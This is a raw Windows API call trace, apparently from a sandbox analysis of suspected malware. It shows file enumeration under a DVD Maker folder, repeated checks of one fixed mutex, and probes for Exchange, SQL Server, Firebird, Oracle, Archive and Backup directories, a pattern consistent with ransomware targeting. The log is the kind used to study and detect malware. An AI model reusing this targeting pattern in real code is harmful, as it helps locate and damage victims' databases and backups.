[0057.968] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.968] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.968] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.968] GlobalUnlock (hMem=0x44000c) returned 0 [0057.968] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.968] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.968] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.968] GlobalUnlock (hMem=0x44000c) returned 0 [0057.968] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.968] GlobalUnlock (hMem=0x440004) returned 0 [0057.968] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.968] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 0 [0057.968] GetLastError () returned 0x12 [0057.968] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.969] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0057.969] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.969] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.969] GlobalLock (hMem=0x440004) returned 0x550170 [0057.969] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.969] GlobalUnlock (hMem=0x440004) returned 0 [0057.969] GlobalLock (hMem=0x440004) returned 0x550170 [0057.969] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.969] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.969] GlobalUnlock (hMem=0x440004) returned 0 [0057.969] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.969] GlobalUnlock (hMem=0x44000c) returned 0 [0057.969] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.969] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.969] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.969] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.969] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.969] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.969] GlobalUnlock (hMem=0x44000c) returned 0 [0057.969] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.969] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.969] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.969] GlobalUnlock (hMem=0x44000c) returned 0 [0057.969] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.969] GlobalUnlock (hMem=0x440004) returned 0 [0057.969] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.970] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.970] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.970] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.970] GlobalLock (hMem=0x440004) returned 0x550170 [0057.970] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.970] GlobalUnlock (hMem=0x440004) returned 0 [0057.970] GlobalLock (hMem=0x440004) returned 0x550170 [0057.970] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.970] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.970] GlobalUnlock (hMem=0x440004) returned 0 [0057.970] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.970] GlobalUnlock (hMem=0x44000c) returned 0 [0057.970] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.970] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef38095, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef38095, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.970] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.970] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.970] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.970] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.970] GlobalUnlock (hMem=0x44000c) returned 0 [0057.970] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.970] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.970] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.970] GlobalUnlock (hMem=0x44000c) returned 0 [0057.970] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.970] GlobalUnlock (hMem=0x440004) returned 0 [0057.970] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.970] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef5e1f2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef5e1f2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.970] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.970] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.971] GlobalLock (hMem=0x440004) returned 0x550170 [0057.971] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.971] GlobalUnlock (hMem=0x440004) returned 0 [0057.971] GlobalLock (hMem=0x440004) returned 0x550170 [0057.971] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.971] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.971] GlobalUnlock (hMem=0x440004) returned 0 [0057.971] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.971] GlobalUnlock (hMem=0x44000c) returned 0 [0057.971] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.971] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.971] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.971] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.971] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.971] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.971] GlobalUnlock (hMem=0x44000c) returned 0 [0057.971] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.971] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.971] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.971] GlobalUnlock (hMem=0x44000c) returned 0 [0057.971] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.971] GlobalUnlock (hMem=0x440004) returned 0 [0057.971] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.971] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.971] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.971] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.971] GlobalLock (hMem=0x440004) returned 0x550170 [0057.971] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.972] GlobalUnlock (hMem=0x440004) returned 0 [0057.972] GlobalLock (hMem=0x440004) returned 0x550170 [0057.972] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.972] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.972] GlobalUnlock (hMem=0x440004) returned 0 [0057.972] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.972] GlobalUnlock (hMem=0x44000c) returned 0 [0057.972] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.972] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OldAge", cAlternateFileName="")) returned 1 [0057.972] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.972] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.972] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.972] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.972] GlobalUnlock (hMem=0x44000c) returned 0 [0057.972] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.972] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.972] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.972] GlobalUnlock (hMem=0x44000c) returned 0 [0057.972] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.972] GlobalUnlock (hMem=0x440004) returned 0 [0057.972] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.972] GlobalLock (hMem=0x440004) returned 0x550170 [0057.972] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.972] GlobalUnlock (hMem=0x440004) returned 0 [0057.973] GlobalLock (hMem=0x440004) returned 0x550170 [0057.973] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.973] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.973] GlobalUnlock (hMem=0x440004) returned 0 [0057.973] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.973] GlobalUnlock (hMem=0x44000c) returned 0 [0057.973] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.973] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge", len=0x32 | out: pbstr=0x18edc4*="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge") returned 1 [0057.973] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.973] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.973] GlobalUnlock (hMem=0x44000c) returned 0 [0057.973] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.973] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.973] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.973] GlobalUnlock (hMem=0x44000c) returned 0 [0057.973] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.973] GlobalUnlock (hMem=0x440004) returned 0 [0057.973] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@볦R벺R企@\x18䃄Q\x18\x1b")) returned 0xffffffff [0057.981] GetLastError () returned 0x3 [0057.981] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.981] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0057.981] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@뱔R企@\x18䀴Q\x181")) returned 0xffffffff [0057.983] GetLastError () returned 0x2 [0057.983] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0057.983] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@몤R企@\x18?T\x18;")) returned 0xffffffff [0057.984] GetLastError () returned 0x2 [0057.984] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0057.984] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@삌R企@\x18?T\x18D")) returned 0xffffffff [0057.986] GetLastError () returned 0x2 [0057.986] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.986] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0057.986] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@뱔R企@\x18몤R\x18j")) returned 0xffffffff [0057.987] GetLastError () returned 0x2 [0057.987] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.987] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0057.987] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@삌R企@\x18?T\x18q")) returned 0xffffffff [0057.988] GetLastError () returned 0x2 [0057.989] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.989] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\몠RP") returned 6 [0057.989] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@夜U企@\x18?T\x18y")) returned 0xffffffff [0057.990] GetLastError () returned 0x2 [0057.990] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.990] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0057.990] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@뱔R企@\x18?T\x18\x81")) returned 0xffffffff [0057.991] GetLastError () returned 0x2 [0057.991] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.991] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0057.992] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@삌R企@\x18?T\x18\x88")) returned 0xffffffff [0057.993] GetLastError () returned 0x2 [0057.993] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.993] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0057.993] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="쏬R䱠@夜U企@\x18?T\x18\x8f")) returned 0xffffffff [0057.994] GetLastError () returned 0x2 [0057.994] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\") returned 0x33 [0057.994] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 